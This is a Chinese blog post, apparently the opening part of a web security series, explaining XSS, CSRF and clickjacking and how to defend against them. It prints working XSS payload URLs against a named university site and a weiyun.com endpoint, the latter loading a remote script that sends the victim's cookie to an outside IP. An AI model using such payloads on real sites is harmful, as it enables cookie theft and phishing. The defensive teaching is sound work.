Web安全攻防系列[1]-了解Web安全
安全是个很有意思的事情,我从高中高一开始就开始每月购买《黑客 X 档案》。那时大概是 06,07 年左右,很幸运经历了国内网络安全刚刚起步且该类型出版物还很活跃的年代,只可惜自己没有百分百投入进去,不然说不定可以做一名自己向往的安全工程师了。
好像自从 09 年开始,国内的黑客类型的出版物开始慢慢消失了,也包括论坛在内。于此同时,站长的好日子好像也不好过了,各种备案和审查机制开始严格推行。也是从 09 年开始我也没怎么看过黑客杂志了。但是当年从杂志上学到的一些皮毛,真的对我影响很大。 因为我微微感觉安全技术很多时候是一个思路的问题,并不一定完全是开发高手才能有这种寻找漏洞的思路,而要有这种耍小聪明的意识。
所以可能受当年读杂志的影响,我对安全这块的东西还是有很大兴趣。现在虽然做前端,可以借助这个机会偶尔瞅一下前端方面的安全知识。去年来到腾讯,竟然见到了当年《黑客 X 档案》的主编,也已经在腾讯的安全部门打工,不禁心中激动感慨万分。
下文会整理一些安全方面的基础知识和技巧,算是自己学习过程中的心得。
安全概念和常见手法
安全的本质是信任的问题。 要对产生关系的行为或数据按照某种规则检查后才能信任他,当然这个信任条件要把握好度。过度的检查和限制带来的将是用户体验的下降。企业应该将安全检查贯穿于整个软件生命周期中。
web 安全分类
- 浏览器本身被挂马,即客户端安全
- 恶意网址钓鱼;(当然钓鱼也可以跟 xss 结合起来,xss 攻击知名网站之后,再注入逻辑进行钓鱼肯定成功率更大)
- 著名的前端安全漏洞:xss,csrf,点击劫持 clickjacking。
- 浏览器插件安全,chrome 之类的插件如果是恶意,可能会利用 chrome 提供给插件的 API 窃取私密。
- 服务端 sql 注入: 通过 sql 拼接来注入后端逻辑,盗取后端数据库里的重要信息;甚至利用 sql 函数在服务器上生成木马等文件。
XSS
本质是用户数据变成了 html 代码或者 js 指令,混淆了开发者原来的意思。
在我毕业前,我发现我们学校的这个网站的搜索功能是存在 xss 注入的,http://graduate.cug.edu.cn/search.asp?title=%3E%3Ca%20href=%22javascript:alert(1)%22%3Egood%3C/a%3E%3Cinput%20&pageno=1
现在貌似修复了 JavaScript 的注入,但依然可以注入自己的 HTML 代码进去,甚至可以加载自己的 css 到对方页面中:
(20170823 更新: 我校这网站已经换成 jsp 开发了,修复了该漏洞…我勒个去)
利用代码如下(请勿非法利用):
1 | http://graduate.cug.edu.cn/search.asp?title=%3E%3Ca%20href=%22http://www.cuiyongjian.com%22%3Egood%3C/a%3E%3Clink%20href=%22http://www.cuiyongjian.com/content/templates/weisayheibai/style.css%22%20type=%22text/css%22%20rel=%22stylesheet%22%3E%3Cinput%20&pageno=1 |
另外,现代的 chrome 浏览器也是禁止向 url 上添加<script>
标签发起请求的。
反射型 xss
反射型的意思就是,用户传入参数简单的返回,或者黑客精心构造,就在前台返回一个可执行的 script 标签脚本。这个恶意脚本的内容可能是直接 eval 一个短代码,来执行存储在其他地方的长代码(例如 hash),或者直接是一个 script 引用,引用跨站的恶意脚本。 一般用来窃取用户页面 cookie 传到黑客服务器,或者利用用户 cookie 进行恶意操作。
这种类型的相对来说要多一些,因为开发者可能遗漏了对用户输入的判断。比如著名的腾讯就发生过腾讯地图某个页面存在可以反射 xss 的漏洞。另外我在内网看到 SNG 的一个例子是讲某个 CGI 接口会返回一个如下的回调:
1 | <script> |
而开发者没有对请求的 filename 参数进行过滤,而反射回来的 file_name 会写入页面 dom。所以就给了黑客可乘之机。 基于此漏洞,可以通过 url 注入一个这样的代码:
1 | http://web.cgi.weiyun.com/weiyun_web_vircgi.fcg?filename=<table background=javascript:(function() {t=document.createElement('script');t.src='http://10.12.198.14/xss/fishing/xss.js?cookie='+document.cookie;document.body.appendChild(t);})(); /> |
当然,你要 url 编码一下,然后结果就是 background 的伪协议代码在浏览器执行,从而注入了一个大大的 马
– xss.js.
且注入的同时用户的 cookie 也被以 get 方式发送给黑客服务器。 然后,我们可以在 xss.js 中做很多操作,例如修改 dom 直接将 weiyun 的页面改造成一个钓鱼页面,这样不仅偷了用户 cookie,甚至能继续利用 xss 漏洞进行钓鱼(咦,我黑学校网站的时候咋没想到呢~ )
存储型 xss
反射型是利用了一个有漏洞的逻辑代码进行反射,而存储型 xss 是比较持久的,这个恶意 js 已被注入后端持久层,会导致 xss 可能存在一个正常文章页面里,可能存在论坛评论区里。还可以在存储型 xss 页面里 iframe 等方式 get 一个反射型 xss 页面。让反射型 xss 也更容易在这里触发,由反射型变成了持久型。
dom 型
这属于纯前端的 xss 漏洞,比如一个网页他前端代码会根据不同条件产生数据到前端的 html 里。 常发生在innerHTML
,document.write
等代码不严谨的地方。 由于前端 MVC 框架或者说前端 SPA 富应用的流行,这种漏洞可能也会变得多一些,所以我们在前端进行 dom 生成的时候也要谨慎对待用户自定义的部分。
防范:
对前端脚本信任的破裂导致我们要给 cookie 加一层防护
给 cookie 加上 httponly 来防范 cookie 劫持:要检查每一个信任关系。比如之所以敢把 cookie 放到本地是信任浏览器同源策略,不会让其他域下的脚本来读取我们自己页面的 cookie。但之所以后来要设置为 httponly 的 cookie 是因为 xss 攻击导致页面上的脚本可能不被信任。xss 会偷我们本地 cookie,我们就得用 httponly 不能让他偷。
开发者应谨记于心:输入输出检查
xss 很多都通过注入在有漏洞的位置一些普通用户不可能用到的特殊的字符,以实现脚本注入。比如让 js 反射回来,或者存储到页面中。 所以要对输入进行过滤或者编码。
xss filter 不考虑输出语境的话,容易改变原义,比如引号转义对于输出到 js 代码块管用,对于输出到 html 转义无效就改变了原来含义。
所以采用输出转义,输出 html 内容的时候,进行 html 转义实体字符,就不会产生混淆。但是如果要输出到 html 的 onclick 这种,转义后会被 htmlparser 解析,也能 xss,此时要 javascriptEncode。
如果是输出到 script 标签中的 js 变量代码。为了防止其执行多余的恶意脚本。就把这个输出内容放到引号里面,当作字符串。这时黑客想攻击就得自己闭合前引号,而我们为了防止 xss,输出时对其进行 javascriptEncode(会对 js 特殊字符编码成 16 进制数\uUnicode,也就是当字符用了呗)。
输出 css 内容块,由于这里面 xss 非常多样化。所以尽量别在 style 样式里面输出东西。非要输出的话,可采用类似于 jsEncode。
如果是渲染到 a 链接里的 url,则如果用户控制后面的参数等信息,务必对后面的参数和 hash 等内容进行 URLl 编码。 url 编码其实本意是为了避免后面跟的查询参数等内容与 url 规定的字符产生歧义,但在 a 链接里面进行 url 编码,既是为了不产生歧义,又是为了不造成脚本注入。 注意这里不能用 html 编码,因为 html 编码后的 url 浏览器不认识。富文本:这种要采用白名单机制,解析用户提交的 html 富文本,只允许特定的标签。不能出现事件等,也不能允许用户自定义 style。 有针对富文本的 xss filter 的开源库。
有哪些字符需要转义输出?
对 html 来说,应该转义那些所有的 html 标签开关闭合符号,如 <
>
, 如果是要输出到帖子里的内容应该用白名单允许某些标签存在,比如 <p>
<br>
之类的。 还得防止他在标签事件里加上 js 代码,所以还要对事件里的代码进行转义,也是采用
对 js 来说,应该防止其运行。比如你的 js 脚本会拼接用户输入的一段 字符串 的场景,如服务端的 ejs 模板引擎中: <script>alert('<% obj.str %>')<script>
。
在这种场景下,js 方面应该把输入内容的所有跟 js 语法相关的都给转义成\u+unicode 的形式,比如 ;
var
eval
"
'
,就把它们当做一个普通 js 字符(否则他的双引号可能会闭合掉你的字符串,然后他自己的代码就暴漏在字符串之外可以执行了)。由于本来的业务场景就是希望用户提交一段字符串放到 js 里当字符串用,所以我们把它转换为\u+unicode
的方式并没有影响业务。
CSRF:
CSRF 是跨站脚本攻击,利用同一台电脑同一台浏览器上同时打开了多个网站的情况,或者 cookie 未失效的情况。恶意网站会在自己站点内发送跨域请求,如果对方网站有 csrf 漏洞,可能就中招了。
解决方案
- token:要让某些验证具有不可预测性,使用每次变化的又不能推算的。比如使用每次访问(提交)等敏感操作的时候都要提交一个 token 给服务器来防止 csrf 提交数据。也就是说在没有 xss 的情况下,黑客是无法拿到目标页面里 token 隐藏 input,或者 cookie 的。所以黑客通过在黑客页面构造 get 或构造 form post 都无法添加上 token。【token 可以放到 cookie 或 input 因隐藏框里】
使用验证码。 - 检查 referer,黑客利用 csrf 发起的请求显然 refer 是其他域名。
- 严格限制 cookie 域,避免全站通用的 cookie
对于服务端验证,除了 token 方案。还有个双 cookie 方案,适合 ajax 异步请求的情况。
意思是在提交前先用 js 读取用于验证的 cookie 值加入到提交字段。这样就形成了双提交(验证字段有两份,一份在 cookie 中,一份在 POST 或 URL 中)。显然单纯的 csrf 只能让请求中带有 cookie 但是并不能读取 cookie 加入到 POST 或 URL 中
点击劫持
防点击劫持:(不让我的页面放到黑客的 iframe 里)
1 | if(top.location ! = location ) { |
总结
保护 Web 安全,需要各方共同努力。
浏览器厂商: 恶意网址数据库防钓鱼,对网址中是否有脚本进行 xss 检测。
开发人员:不可信任的第三方来源脚本,只要使用了第三方资源,都有可能中招。使用 https: 使用了数字证书,摘要算法,非对称加密,对称加密。 可以防止中间人的注入,如运营商流量劫持。